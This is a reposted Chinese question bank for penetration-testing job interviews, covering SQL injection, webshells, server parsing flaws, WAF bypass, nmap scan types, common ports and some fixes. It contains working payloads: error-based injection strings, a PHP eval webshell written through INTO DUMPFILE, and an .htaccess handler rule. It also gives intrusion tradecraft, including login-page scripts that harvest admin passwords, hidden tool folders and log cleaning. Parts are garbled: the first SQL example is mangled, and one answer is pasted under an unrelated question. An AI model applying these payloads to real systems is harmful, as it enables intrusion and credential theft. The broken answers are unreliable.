2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > 【建议收藏】一份网络安全面试宝典请查收!!

【建议收藏】一份网络安全面试宝典请查收!!

时间:2022-11-22 05:09:38

相关推荐

【建议收藏】一份网络安全面试宝典请查收!!

前言

最近归纳整理了网络安全的面试题及答案,希望对大家会有所帮助!!

1、SQL里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password=‘MD5(password)′,homepage=′password)', homepage='password)′,homepage=′homepage’ WHERE id=’$id’

如果此 SQL 被修改成以下形式,就实现了注入

a、修改 homepage 值为’, userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='', userlevel='3' WHERE id='$id'

userlevel 为用户级别

b、修改 password 值为mypass)’ WHERE username=‘admin’#

之后 SQL 语句变为

UPDATE user SET password=‘MD5(mypass)’ WHERE username=‘admin’#)’, homepage=‘homepage′WHEREid=′homepage' WHERE id='homepage′WHEREid=′id’

c、修改 id 值为’ OR username='admin’之后 SQL 语句变为

UPDATE user SET password=‘MD5(password)′,homepage=′password)', homepage='password)′,homepage=′homepage’ WHERE id=’’ OR username=‘admin’

2、判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

a、IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

b、IIS 7.0/7.5

默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

c、Nginx

版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码 xxx.jpg.php

d、Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

e、lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

9、3389无法连接的几种情况

没开放3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入

hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入

<FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码?

只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。

已记录您的ip xx.xx.xx.xx

时间::01-23

提交页面:test.asp?id=15

提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

21.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。

其实有些站点,在登陆处也会这样提示

所有和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为462,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30.在win服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1

B. demo.jsp?id=2-1

选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==

DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=031900&keyword=”hello world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

在获取书面授权的前提下。

1)信息收集

1,获取域名的whois信息,获取注册者邮箱姓名电话等。

2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。旁站、C段入侵工具及技巧

3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

6,google hack 进一步探测网站的信息,后台,敏感文件

2)漏洞扫描

开源web漏扫工具

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,

远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

3)漏洞利用

利用以上的方式拿到webshell,或者其他权限

4)权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

5)日志清理

6)总结报告及修复方案

39、sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap -u “诸如点网址”.

2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数”

3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”

40、nmap,扫描的几种方式

tcp connect()

这种方式最简单。直接与被扫描的端口建立tcp链接,如果成功,则说明端口开放,如果不成功则说明端口关闭的。这种扫描的特点是与被扫描端口建立完成的tcp链接,完整的tcp三次握手。优点主要是不需要root权限即可扫描端口。因为connect可以在用户态直接调用

TCP SYN scanning

这种扫描方式又被称为tcp半开放扫描。顾名思义,这种扫描不需要建立完整的tcp连接,即可扫描端口的状态。发送tcp syn数据包,这个也是tcp握手的第一个包。如果端口开放,则会返回 tcp syn+ack数据包。如果端口关闭,则返回 tcp rst数据包。这样我们就不用进行tcp 握手的第三步,也可以探测端口的状态。这种扫描需要构建raw socket。所以需要root权限

TCP FIN scanning

有些时候防火墙绘过滤tcp syn数据包,有些时候会记录syn数据包并检测时候有nmap扫描。这时候可以使用TCP FIN scanning。这种方式很简单。发送tcp FIN数据包到待测端口。如果返回RST数据包,则说明该端口关闭,如果无返回则说明该端口开放。这时tcp协议的一个BUG,所以这种扫描方式不一定百分之百可靠(例如windows),但是这种扫描方式适合大部分 *NIX 系统。

TCP NULL, FIN, and Xmas scans

在RFC 793的第65页写到,如果目的端口的是关闭的,并且接受到的tcp数据包如果可能会导致系统错误,则返回RST。如果开放的端口接受到诸如SYN RST ACK,则丢弃或者不做任何处理。根据此RFC描述,我们可以发送不包含SYN RST或者ACK标志的数据包,如果返回RST则说明端口是关闭状态,如果什么都没有返回则说明端口是开放状态。

Null scan

tcp flag headers 全为0

FIN scan

只设置tcp FIN标志

xmas scan

同时设置FIN PSH URG标志位。

上面这三种扫描的结果都是一致的,如果接受到到RST,则说明端口是关闭的。如果无响应,则端口可能是开放或者filteted状态。如果返回icmp unreachable error(type 3, code 0, 1, 2, 3, 9, 10, 13),则说明端口一定是filtered的。

TCP ACK scan

这种扫描只设置tcp ack标志位。这种扫描一般来探测防火墙是否过滤被扫描的端口。如果扫描的端口未被防火墙保护,那么无论是开放或者是关闭,都会返回RST。nmap将该端口标记为未被封锁的(unfiltered),但是不能确定该端口是开放或者关闭状态。如果无响应,或者返货icmp error,则该端口一定被防火墙封锁了

TCP Window scan

tcp窗口扫描,如果接收到RST,则说明端口封锁了。在某些操作系统,开放的端口会返回一个正数的tcp窗口值,如果端口关闭,则返回tcp窗口值为0或者负数。但是这种扫描不是很靠谱

TCP Maimon scan

这种扫描为发送同时设置FIN/ACK的数据包。如果返回RST,则说明端口是开放的,如果无响应,则是关闭状态的。

IP protocol scan

这种是专门扫描ip协议的。扫描类似于udp扫描,如果IP协议号不存在,返回 icmp错误。具体没用过,不太好写

UDP ICMP port unreachable scanning

如果udp端口开放,则无响应。如果udp端口关闭,则会返回icmp unreachable error错误。这种扫描需要root权限,因为需要构建raw socket。

UDP connect扫描

这种直接一个一个建立udp连接,如果能建立,则说明端口开放,不能建立则端口关闭呗。

41、sql注入的几种类型?

1)报错注入

2)bool型注入

3)延时注入

4)宽字节注入

42、报错注入的函数有哪些?10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2)通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10).exp()select from test where id=1 and exp(~(select * from

43、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点?

都是一个字符一个字符的判断

45、sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'select '一句话' into dumpfile '路径'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\\nvhack.php';## 47、如何防止CSRF?

1)验证referer

2)验证token

详细:详细点我

46、owasp 漏洞都有哪些?

1)SQL注入防护方法:

2)失效的身份认证和会话管理

3)跨站脚本攻击XSS

4)直接引用不安全的对象

5)安全配置错误

6)敏感信息泄露

7)缺少功能级的访问控制

8)跨站请求伪造CSRF

9)使用含有已知漏洞的组件

10)未验证的重定向和转发

47、SQL注入防护方法?

1)使用安全的API

2)对输入的特殊字符进行Escape转义处理

3)使用白名单来规范化输入验证方法

4)对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5)服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

48、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

49、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

50、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg

51、为什么aspx木马权限比asp大?

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

52、如何绕过waf?

大小写转换法

干扰字符 /!/

编码 base64 unicode hex url ascll

复参数

53、如何向服务器写入webshell?

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

54、渗透测试中常见的端口

a、web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web

80-89 web

8000-9090 web

b、数据库类(扫描弱口令)

1433 MSSQL

1521 Oracle

3306 MySQL

5432 PostgreSQL

c、特殊服务类(未授权/命令执行类/漏洞)

443 SSL心zang滴血

873 Rsync未授权

5984 CouchDB http://xxx:5984/_utils/

6379 redis未授权

7001,7002 WebLogic默认弱口令,反序列

9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

11211 memcache未授权访问

27017,27018 Mongodb未授权访问

50000 SAP命令执行

50070,50030 hadoop默认端口未授权访问

d、常用端口类(扫描弱口令/端口爆破)

21 ftp

22 SSH

23 Telnet

2601,2604 zebra路由,默认密码zebra

3389 远程桌面

ALL、端口合计详情

21 ftp

22 SSH

23 Telnet

80 web

80-89 web

161 SNMP

389 LDAP

443 SSL心zang滴血以及一些web漏洞测试

445 SMB

512,513,514 Rexec

873 Rsync未授权

1025,111 NFS

1433 MSSQL

1521 Oracle:(iSqlPlus Port:5560,7778)

2082/2083 cpanel主机管理系统登陆 (国外用较多)

2222 DA虚拟主机管理系统登陆 (国外用较多)

2601,2604 zebra路由,默认密码zebra

3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了

3306 MySQL

3312/3311 kangle主机管理系统登陆

3389 远程桌面

4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网

5432 PostgreSQL

5900 vnc

5984 CouchDB http://xxx:5984/_utils/

6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网

6379 redis未授权

7001,7002 WebLogic默认弱口令,反序列

7778 Kloxo主机控制面板登录

8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上

8080 tomcat/WDCP主机管理系统,默认弱口令

8080,8089,9090 JBOSS

8083 Vestacp主机管理系统 (国外用较多)

8649 ganglia

8888 amh/LuManager 主机管理系统默认端口

9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

10000 Virtualmin/Webmin 服务器虚拟主机管理系统

11211 memcache未授权访问

27017,27018 Mongodb未授权访问

28017 mongodb统计页面

50000 SAP命令执行

50070,50030 hadoop默认端口未授权访问

55、对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

由于篇幅有限,余下部分都已放入我的个人文档,需要的戳我领取

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。